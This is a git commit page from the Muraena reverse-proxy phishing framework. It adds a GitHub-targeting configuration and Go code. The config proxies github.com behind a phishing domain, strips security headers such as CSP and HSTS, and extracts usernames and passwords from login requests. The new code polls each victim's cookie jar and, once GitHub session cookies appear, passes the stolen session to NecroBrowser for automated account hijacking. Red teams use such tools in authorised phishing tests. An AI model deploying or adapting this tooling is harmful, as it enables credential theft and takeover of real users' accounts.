mirror of
https://github.com/muraenateam/muraena.git
synced 2026-01-23 02:24:05 +00:00
Added necrobrowser auto-trigger functionality based on cookie jar items. Fixed tracking via path (now supports not-existing paths too). Added example Github configuration
This commit is contained in:
parent
23d595e6bd
commit
6776a45773
8 changed files with 334 additions and 19 deletions
185
config/config.github.toml
Normal file
185
config/config.github.toml
Normal file
|
|
@ -0,0 +1,185 @@
|
|||
[proxy]
|
||||
# Phishing domain
|
||||
phishing = "phishing.com"
|
||||
|
||||
# Target domain to proxy
|
||||
destination = "github.com"
|
||||
|
||||
# Listening IP address
|
||||
IP = "0.0.0.0"
|
||||
|
||||
# Listeninng TCP Port
|
||||
port = 443
|
||||
|
||||
# Force HTTP to HTTPS redirection
|
||||
[proxy.HTTPtoHTTPS]
|
||||
enabled = true
|
||||
HTTPport = 80
|
||||
|
||||
|
||||
#
|
||||
# Proxy's replacement rules
|
||||
#
|
||||
[transform]
|
||||
|
||||
# List of content types to exclude from the transformation process
|
||||
skipContentType = [ "font/*", "image/*" ]
|
||||
|
||||
# Enable transformation rules in base64 strings
|
||||
[transform.base64]
|
||||
enabled = false
|
||||
padding = [ "=", "." ]
|
||||
|
||||
[transform.request]
|
||||
headers = [
|
||||
"Cookie",
|
||||
"Referer",
|
||||
"Origin",
|
||||
"X-Forwarded-For"
|
||||
]
|
||||
|
||||
[transform.response]
|
||||
headers = [
|
||||
"Location",
|
||||
"WWW-Authenticate",
|
||||
"Origin",
|
||||
"Set-Cookie",
|
||||
"Access-Control-Allow-Origin"
|
||||
]
|
||||
|
||||
# Generic replacement rules:
|
||||
# it applies to body and any http header enabled for manipulation
|
||||
content = [
|
||||
[ "integrity", "intintint" ]
|
||||
]
|
||||
|
||||
|
||||
#
|
||||
# Proxy's wiping rules
|
||||
#
|
||||
[remove]
|
||||
|
||||
[remove.request]
|
||||
headers = [
|
||||
"X-Forwarded-For"
|
||||
]
|
||||
|
||||
[remove.response]
|
||||
headers = [
|
||||
"Content-Security-Policy",
|
||||
"Content-Security-Policy-Report-Only",
|
||||
"Strict-Transport-Security",
|
||||
"X-XSS-Protection",
|
||||
"X-Content-Type-Options",
|
||||
"X-Frame-Options",
|
||||
"Referrer-Policy",
|
||||
"X-Forwarded-For"
|
||||
]
|
||||
|
||||
#
|
||||
# Rudimental redirection rules
|
||||
#
|
||||
[[drop]]
|
||||
path = "/logout"
|
||||
redirectTo = "https://github.com"
|
||||
|
||||
|
||||
#
|
||||
# LOG
|
||||
#
|
||||
[log]
|
||||
enabled = true
|
||||
filePath = "muraena.log"
|
||||
|
||||
|
||||
#
|
||||
# TLS
|
||||
#
|
||||
[tls]
|
||||
enabled = true
|
||||
|
||||
# Expand allows to replace the content of the certificate/key/root parameters to their content instead of the
|
||||
# filepath
|
||||
expand = false
|
||||
certificate = "./cert.pem"
|
||||
key = "./privkey.pem"
|
||||
root = "./fullchain.pem"
|
||||
|
||||
#
|
||||
# CRAWLER
|
||||
#
|
||||
[crawler]
|
||||
enabled = false
|
||||
depth = 3
|
||||
upto = 20
|
||||
externalOriginPrefix = "cdn-"
|
||||
externalOrigins = [
|
||||
"*.githubassets.com"
|
||||
]
|
||||
|
||||
#
|
||||
# NECROBROWSER
|
||||
#
|
||||
[necrobrowser]
|
||||
enabled = true
|
||||
endpoint = "http://127.0.0.1:3000/instrument"
|
||||
profile = "./config/instrument.github.necro"
|
||||
|
||||
[necrobrowser.keepalive]
|
||||
# GET on an authenticated endpoint to keep the session alive
|
||||
# every keepalive request is processed as its own necrotask
|
||||
enabled = false
|
||||
minutes = 5 # keeps alive the session every 5 minutes
|
||||
|
||||
|
||||
[necrobrowser.trigger]
|
||||
type = "cookies"
|
||||
values = ["user_session", "dotcom_user"] # these are two cookies set by github after successful auth
|
||||
delay = 5 # check every 5 seconds victim's cookie jar to see if we need to instrument something
|
||||
|
||||
|
||||
#
|
||||
# STATIC SERVER
|
||||
#
|
||||
[staticServer]
|
||||
enabled = false
|
||||
port = 8080
|
||||
localPath = "./static/"
|
||||
urlPath = "/evilpath/"
|
||||
|
||||
|
||||
#
|
||||
# TRACKING
|
||||
#
|
||||
[tracking]
|
||||
enabled = true
|
||||
|
||||
# the tracking below supposes your phishing url will be something like:
|
||||
# https://github.com/GithubProfile/aaa-111-bbb (see regex below)
|
||||
# NOTE: the URL doesn't need to exist, so this is also valid (update identifier accordingly):
|
||||
# https://github.com/GithubProfileFooBar/aaa-111-bbb
|
||||
type = "path"
|
||||
|
||||
# Tracking identifier
|
||||
identifier = "_GithubProfile_"
|
||||
|
||||
# Rule to generate and validate a tracking identifier
|
||||
regex = "[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}"
|
||||
|
||||
[tracking.urls]
|
||||
credentials = [ "/session" ]
|
||||
|
||||
# we don't need this anymore since we manage via necrobrowser.trigger
|
||||
# authSession = [ "/settings/profile" ]
|
||||
|
||||
[[tracking.patterns]]
|
||||
label = "Username"
|
||||
matching = "login"
|
||||
start = "login="
|
||||
end = "&password="
|
||||
|
||||
[[tracking.patterns]]
|
||||
label = "Password"
|
||||
matching = "password"
|
||||
start = "password="
|
||||
end = "&"
|
||||
|
|
@ -139,6 +139,22 @@
|
|||
endpoint = "http://necrobrowser.url/xyz"
|
||||
profile = "./config/instrument.necro"
|
||||
|
||||
[necrobrowser.keepalive]
|
||||
# GET on an authenticated endpoint to keep the session alive
|
||||
# every keepalive request is processed as its own necrotask
|
||||
enabled = false
|
||||
minutes = 5 # keeps alive the session every 5 minutes
|
||||
|
||||
|
||||
[necrobrowser.trigger]
|
||||
type = "cookies"
|
||||
values = ["user_session", "dotcom_user"] # values can be cookies names or relative paths
|
||||
delay = 5 # check every 5 seconds victim's cookie jar to see if we need to instrument something
|
||||
|
||||
# type path example (triggers when the victim goes to a specific relative URL):
|
||||
# type = "path"
|
||||
# values = ["/settings/profile"]
|
||||
# delay = 5
|
||||
|
||||
#
|
||||
# STATIC SERVER
|
||||
|
|
|
|||
|
|
@ -20,6 +20,8 @@ type Victim struct {
|
|||
|
||||
CredsCount int `redis:"creds_count"`
|
||||
CookieJar string `redis:"cookiejar_id"`
|
||||
|
||||
SessionInstrumented bool `redis:"session_instrumented"`
|
||||
}
|
||||
|
||||
// a victim has at least one set of credentials
|
||||
|
|
@ -68,6 +70,21 @@ func StoreVictim(id string, victim *Victim) error {
|
|||
return nil
|
||||
}
|
||||
|
||||
func SetSessionAsInstrumented(id string) error {
|
||||
|
||||
rc := RedisPool.Get()
|
||||
defer rc.Close()
|
||||
|
||||
key := fmt.Sprintf("victim:%s", id)
|
||||
|
||||
if _, err := rc.Do("HSET", key, "session_instrumented", true); err != nil {
|
||||
log.Error("error doing redis HSET: %s. session_instrumented field not saved.", err)
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func GetAllVictims() ([]string, error) {
|
||||
rc := RedisPool.Get()
|
||||
defer rc.Close()
|
||||
|
|
@ -197,7 +214,7 @@ func GetVictimCookiejar(id string) ([]VictimCookie, error) {
|
|||
return nil, err
|
||||
}
|
||||
|
||||
log.Info("Victim %s has %d cookies in the cookiejar", id, len(values))
|
||||
log.Debug("Victim %s has %d cookies in the cookiejar", id, len(values))
|
||||
|
||||
var cookiejar []VictimCookie
|
||||
for _, name := range values {
|
||||
|
|
|
|||
|
|
@ -47,14 +47,14 @@ func (response *Response) Unpack() (buffer []byte, err error) {
|
|||
rc = response.Body
|
||||
buffer, _ = ioutil.ReadAll(rc)
|
||||
/*
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = response.Body.Close()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
*/
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = response.Body.Close()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
*/
|
||||
defer rc.Close()
|
||||
}
|
||||
return
|
||||
|
|
|
|||
|
|
@ -47,4 +47,4 @@ var (
|
|||
dateTimeFormat = "02 Jan 06 15:04 MST"
|
||||
// Format is the default format being used when logging.
|
||||
format = "{datetime} {level:color}{level:name}{reset} {message}"
|
||||
)
|
||||
)
|
||||
|
|
|
|||
|
|
@ -11,7 +11,7 @@ import (
|
|||
|
||||
"gopkg.in/resty.v1"
|
||||
|
||||
"github.com/muraenateam/muraena/session"
|
||||
session "github.com/muraenateam/muraena/session"
|
||||
)
|
||||
|
||||
const (
|
||||
|
|
@ -103,9 +103,80 @@ func Load(s *session.Session) (m *Necrobrowser, err error) {
|
|||
|
||||
m.Request = string(bytes)
|
||||
|
||||
// spawn a go routine that checks all the victims cookie jars every N seconds
|
||||
// to see if we have any sessions ready to be instrumented
|
||||
if s.Config.NecroBrowser.Enabled {
|
||||
go m.CheckSessions()
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (module *Necrobrowser) CheckSessions() {
|
||||
|
||||
triggerType := module.Session.Config.NecroBrowser.Trigger.Type
|
||||
triggerDelay := module.Session.Config.NecroBrowser.Trigger.Delay
|
||||
|
||||
for {
|
||||
switch triggerType {
|
||||
case "cookies":
|
||||
module.CheckSessionCookies()
|
||||
case "path":
|
||||
// TODO
|
||||
log.Warning("currently unsupported. TODO implement path")
|
||||
default:
|
||||
log.Warning("unsupported trigger type: %s", triggerType)
|
||||
}
|
||||
|
||||
time.Sleep(time.Duration(triggerDelay) * time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func (module *Necrobrowser) CheckSessionCookies() {
|
||||
triggerValues := module.Session.Config.NecroBrowser.Trigger.Values
|
||||
|
||||
victims, err := db.GetAllVictims()
|
||||
if err != nil {
|
||||
module.Debug("error fetching all victims: %s", err)
|
||||
}
|
||||
|
||||
module.Debug("checkSessions: we have %d victim sessions. Checking authenticated ones.. ", len(victims))
|
||||
|
||||
for _, vId := range victims {
|
||||
cookieJar, err := db.GetVictimCookiejar(vId)
|
||||
if err != nil {
|
||||
module.Debug("error fetching victim %s: %s", vId, err)
|
||||
}
|
||||
|
||||
cookiesFound := 0
|
||||
cookiesNeeded := len(triggerValues)
|
||||
for _, cookie := range cookieJar {
|
||||
if Contains(&triggerValues, cookie.Name) {
|
||||
cookiesFound++
|
||||
}
|
||||
}
|
||||
|
||||
v, _ := db.GetVictim(vId)
|
||||
|
||||
// if we find the cookies, and the session has not been already instrumented (== false), then instrument
|
||||
if cookiesNeeded == cookiesFound && !v.SessionInstrumented {
|
||||
module.Instrument(cookieJar, "[]") // TODO add credentials JSON, instead of passing empty [] array
|
||||
// prevent the session to be instrumented twice
|
||||
db.SetSessionAsInstrumented(vId)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func Contains(slice *[]string, find string) bool {
|
||||
for _, a := range *slice {
|
||||
if a == find {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (module *Necrobrowser) Instrument(cookieJar []db.VictimCookie, credentialsJSON string) {
|
||||
|
||||
var necroCookies []SessionCookie
|
||||
|
|
|
|||
|
|
@ -4,6 +4,7 @@ import (
|
|||
//"encoding/json"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"github.com/muraenateam/muraena/log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
|
|
@ -222,18 +223,27 @@ func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) {
|
|||
}
|
||||
|
||||
noTraces := true
|
||||
isTrackedPath := false
|
||||
|
||||
//
|
||||
// Tracing types: Path || Query (default)
|
||||
//
|
||||
if module.Type == "path" {
|
||||
re := regexp.MustCompile(`/([^/]+)`)
|
||||
tr := module.Session.Config.Tracking
|
||||
|
||||
pathRegex := strings.Replace(tr.Identifier, "_", "/", -1) + tr.Regex
|
||||
re := regexp.MustCompile(pathRegex)
|
||||
|
||||
match := re.FindStringSubmatch(request.URL.Path)
|
||||
module.Info("tracking path match: %v", match)
|
||||
|
||||
if len(match) > 0 {
|
||||
t = module.makeTrace(match[1])
|
||||
t = module.makeTrace(match[0])
|
||||
if t.IsValid() {
|
||||
log.Info("setting If-Landing-Redirect header to %s", strings.ReplaceAll(request.URL.Path, t.ID, ""))
|
||||
request.Header.Set("If-Landing-Redirect", strings.ReplaceAll(request.URL.Path, t.ID, ""))
|
||||
noTraces = false
|
||||
isTrackedPath = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -303,6 +313,11 @@ func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) {
|
|||
}
|
||||
|
||||
v.RequestCount++
|
||||
|
||||
if module.Type == "path" && isTrackedPath {
|
||||
request.URL.Path = module.Session.Config.Tracking.RedirectTo
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -18,7 +18,6 @@ const (
|
|||
DefaultHTTPSPort = 443
|
||||
)
|
||||
|
||||
|
||||
// Configuration
|
||||
type Configuration struct {
|
||||
Protocol string `toml:"-"`
|
||||
|
|
@ -94,11 +93,11 @@ type Configuration struct {
|
|||
// TLS
|
||||
//
|
||||
TLS struct {
|
||||
Enabled bool `toml:"enabled"`
|
||||
Expand bool `toml:"expand"`
|
||||
Certificate string `toml:"certificate"`
|
||||
Key string `toml:"key"`
|
||||
Root string `toml:"root"`
|
||||
Enabled bool `toml:"enabled"`
|
||||
Expand bool `toml:"expand"`
|
||||
Certificate string `toml:"certificate"`
|
||||
Key string `toml:"key"`
|
||||
Root string `toml:"root"`
|
||||
|
||||
CertificateContent string `toml:"-"`
|
||||
KeyContent string `toml:"-"`
|
||||
|
|
@ -126,6 +125,17 @@ type Configuration struct {
|
|||
Enabled bool `toml:"enabled"`
|
||||
Endpoint string `toml:"endpoint"`
|
||||
Profile string `toml:"profile"`
|
||||
|
||||
Keepalive struct {
|
||||
Enabled bool `toml:"enabled"`
|
||||
Minutes int `toml:"minutes"`
|
||||
} `toml:"keepalive"`
|
||||
|
||||
Trigger struct {
|
||||
Type string `toml:"type"`
|
||||
Values []string `toml:"values"`
|
||||
Delay int `toml:"delay"`
|
||||
} `toml:"trigger"`
|
||||
} `toml:"necrobrowser"`
|
||||
|
||||
//
|
||||
|
|
@ -148,6 +158,7 @@ type Configuration struct {
|
|||
Domain string `toml:"domain"`
|
||||
IPSource string `toml:"ipSource"`
|
||||
Regex string `toml:"regex"`
|
||||
RedirectTo string `toml:"redirectTo"`
|
||||
|
||||
Urls struct {
|
||||
Credentials []string `toml:"credentials"`
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue